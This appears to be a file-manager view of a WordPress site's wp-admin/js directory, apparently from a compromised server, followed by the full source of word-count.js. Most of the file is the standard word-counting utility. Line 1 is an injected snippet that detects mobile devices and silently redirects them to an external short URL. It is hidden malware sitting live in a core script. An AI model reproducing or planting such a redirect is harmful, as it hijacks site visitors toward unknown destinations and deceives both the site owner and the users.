at path:ROOT / wp-admin / js / word-count.js
run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄word-count.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Word or character counting functionality. Count words or characters in a
4 * provided text string.
5 *
6 * @namespace wp.utils
7 *
8 * @since 2.6.0
9 * @output wp-admin/js/word-count.js
10 */
11
12( function() {
13 /**
14 * Word counting utility
15 *
16 * @namespace wp.utils.wordcounter
17 * @memberof wp.utils
18 *
19 * @class
20 *
21 * @param {Object} settings Optional. Key-value object containing overrides for
22 * settings.
23 * @param {RegExp} settings.HTMLRegExp Optional. Regular expression to find HTML elements.
24 * @param {RegExp} settings.HTMLcommentRegExp Optional. Regular expression to find HTML comments.
25 * @param {RegExp} settings.spaceRegExp Optional. Regular expression to find irregular space
26 * characters.
27 * @param {RegExp} settings.HTMLEntityRegExp Optional. Regular expression to find HTML entities.
28 * @param {RegExp} settings.connectorRegExp Optional. Regular expression to find connectors that
29 * split words.
30 * @param {RegExp} settings.removeRegExp Optional. Regular expression to find remove unwanted
31 * characters to reduce false-positives.
32 * @param {RegExp} settings.astralRegExp Optional. Regular expression to find unwanted
33 * characters when searching for non-words.
34 * @param {RegExp} settings.wordsRegExp Optional. Regular expression to find words by spaces.
35 * @param {RegExp} settings.characters_excluding_spacesRegExp Optional. Regular expression to find characters which
36 * are non-spaces.
37 * @param {RegExp} settings.characters_including_spacesRegExp Optional. Regular expression to find characters
38 * including spaces.
39 * @param {RegExp} settings.shortcodesRegExp Optional. Regular expression to find shortcodes.
40 * @param {Object} settings.l10n Optional. Localization object containing specific
41 * configuration for the current localization.
42 * @param {string} settings.l10n.type Optional. Method of finding words to count.
43 * @param {Array} settings.l10n.shortcodes Optional. Array of shortcodes that should be removed
44 * from the text.
45 *
46 * @return {void}
47 */
48 function WordCounter( settings ) {
49 var key,
50 shortcodes;
51
52 // Apply provided settings to object settings.
53 if ( settings ) {
54 for ( key in settings ) {
55
56 // Only apply valid settings.
57 if ( settings.hasOwnProperty( key ) ) {
58 this.settings[ key ] = settings[ key ];
59 }
60 }
61 }
62
63 shortcodes = this.settings.l10n.shortcodes;
64
65 // If there are any localization shortcodes, add this as type in the settings.
66 if ( shortcodes && shortcodes.length ) {
67 this.settings.shortcodesRegExp = new RegExp( '\\[\\/?(?:' + shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
68 }
69 }
70
71 // Default settings.
72 WordCounter.prototype.settings = {
73 HTMLRegExp: /<\/?[a-z][^>]*?>/gi,
74 HTMLcommentRegExp: /<!--[\s\S]*?-->/g,
75 spaceRegExp: /&nbsp;|&#160;/gi,
76 HTMLEntityRegExp: /&\S+?;/g,
77
78 // \u2014 = em-dash.
79 connectorRegExp: /--|\u2014/g,
80
81 // Characters to be removed from input text.
82 removeRegExp: new RegExp( [
83 '[',
84
85 // Basic Latin (extract).
86 '\u0021-\u0040\u005B-\u0060\u007B-\u007E',
87
88 // Latin-1 Supplement (extract).
89 '\u0080-\u00BF\u00D7\u00F7',
90
91 /*
92 * The following range consists of:
93 * General Punctuation
94 * Superscripts and Subscripts
95 * Currency Symbols
96 * Combining Diacritical Marks for Symbols
97 * Letterlike Symbols
98 * Number Forms
99 * Arrows
100 * Mathematical Operators
101 * Miscellaneous Technical
102 * Control Pictures
103 * Optical Character Recognition
104 * Enclosed Alphanumerics
105 * Box Drawing
106 * Block Elements
107 * Geometric Shapes
108 * Miscellaneous Symbols
109 * Dingbats
110 * Miscellaneous Mathematical Symbols-A
111 * Supplemental Arrows-A
112 * Braille Patterns
113 * Supplemental Arrows-B
114 * Miscellaneous Mathematical Symbols-B
115 * Supplemental Mathematical Operators
116 * Miscellaneous Symbols and Arrows
117 */
118 '\u2000-\u2BFF',
119
120 // Supplemental Punctuation.
121 '\u2E00-\u2E7F',
122 ']'
123 ].join( '' ), 'g' ),
124
125 // Remove UTF-16 surrogate points, see https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF
126 astralRegExp: /[\uD800-\uDBFF][\uDC00-\uDFFF]/g,
127 wordsRegExp: /\S\s+/g,
128 characters_excluding_spacesRegExp: /\S/g,
129
130 /*
131 * Match anything that is not a formatting character, excluding:
132 * \f = form feed
133 * \n = new line
134 * \r = carriage return
135 * \t = tab
136 * \v = vertical tab
137 * \u00AD = soft hyphen
138 * \u2028 = line separator
139 * \u2029 = paragraph separator
140 */
141 characters_including_spacesRegExp: /[^\f\n\r\t\v\u00AD\u2028\u2029]/g,
142 l10n: window.wordCountL10n || {}
143 };
144
145 /**
146 * Counts the number of words (or other specified type) in the specified text.
147 *
148 * @since 2.6.0
149 *
150 * @memberof wp.utils.wordcounter
151 *
152 * @param {string} text Text to count elements in.
153 * @param {string} type Optional. Specify type to use.
154 *
155 * @return {number} The number of items counted.
156 */
157 WordCounter.prototype.count = function( text, type ) {
158 var count = 0;
159
160 // Use default type if none was provided.
161 type = type || this.settings.l10n.type;
162
163 // Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'.
164 if ( type !== 'characters_excluding_spaces' && type !== 'characters_including_spaces' ) {
165 type = 'words';
166 }
167
168 // If we have any text at all.
169 if ( text ) {
170 text = text + '\n';
171
172 // Replace all HTML with a new-line.
173 text = text.replace( this.settings.HTMLRegExp, '\n' );
174
175 // Remove all HTML comments.
176 text = text.replace( this.settings.HTMLcommentRegExp, '' );
177
178 // If a shortcode regular expression has been provided use it to remove shortcodes.
179 if ( this.settings.shortcodesRegExp ) {
180 text = text.replace( this.settings.shortcodesRegExp, '\n' );
181 }
182
183 // Normalize non-breaking space to a normal space.
184 text = text.replace( this.settings.spaceRegExp, ' ' );
185
186 if ( type === 'words' ) {
187
188 // Remove HTML Entities.
189 text = text.replace( this.settings.HTMLEntityRegExp, '' );
190
191 // Convert connectors to spaces to count attached text as words.
192 text = text.replace( this.settings.connectorRegExp, ' ' );
193
194 // Remove unwanted characters.
195 text = text.replace( this.settings.removeRegExp, '' );
196 } else {
197
198 // Convert HTML Entities to "a".
199 text = text.replace( this.settings.HTMLEntityRegExp, 'a' );
200
201 // Remove surrogate points.
202 text = text.replace( this.settings.astralRegExp, 'a' );
203 }
204
205 // Match with the selected type regular expression to count the items.
206 text = text.match( this.settings[ type + 'RegExp' ] );
207
208 // If we have any matches, set the count to the number of items found.
209 if ( text ) {
210 count = text.length;
211 }
212 }
213
214 return count;
215 };
216
217 // Add the WordCounter to the WP Utils.
218 window.wp = window.wp || {};
219 window.wp.utils = window.wp.utils || {};
220 window.wp.utils.WordCounter = WordCounter;
221} )();
222